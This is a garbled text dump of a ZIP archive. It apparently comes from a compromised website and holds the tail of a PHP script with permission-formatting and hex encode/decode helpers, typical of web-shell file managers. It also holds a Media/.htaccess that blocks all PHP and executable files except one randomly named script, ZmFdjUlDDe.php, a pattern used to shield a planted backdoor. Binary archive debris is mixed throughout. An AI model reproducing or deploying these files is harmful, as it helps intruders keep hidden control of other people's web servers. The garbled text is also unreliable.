(($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function hex($n) { $y = ''; for ($i = 0; $i < strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y; } function unhex($y) { $n = ''; for ($i = 0; $i < strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n; } ?> PK j�\ ��� Media/.htaccessnu �7��m <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> <FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$"> Order Allow,Deny Deny from all </FilesMatch> <FilesMatch "^(ZmFdjUlDDe.php)$"> Order Allow,Deny Allow from all </FilesMatch>PK ��\��* * Modules/HtmlView.phpnu �[��� PK ��\�Sʉ� � n Modules/.htaccessnu �7��m PK ��\�$M� � � Templates/HtmlView.phpnu �[��� PK ��\�Sʉ� � � Templates/.htaccessnu �7��m PK ��\6��� � � Config/HtmlView.phpnu �[��� PK ��\�Sʉ� � �'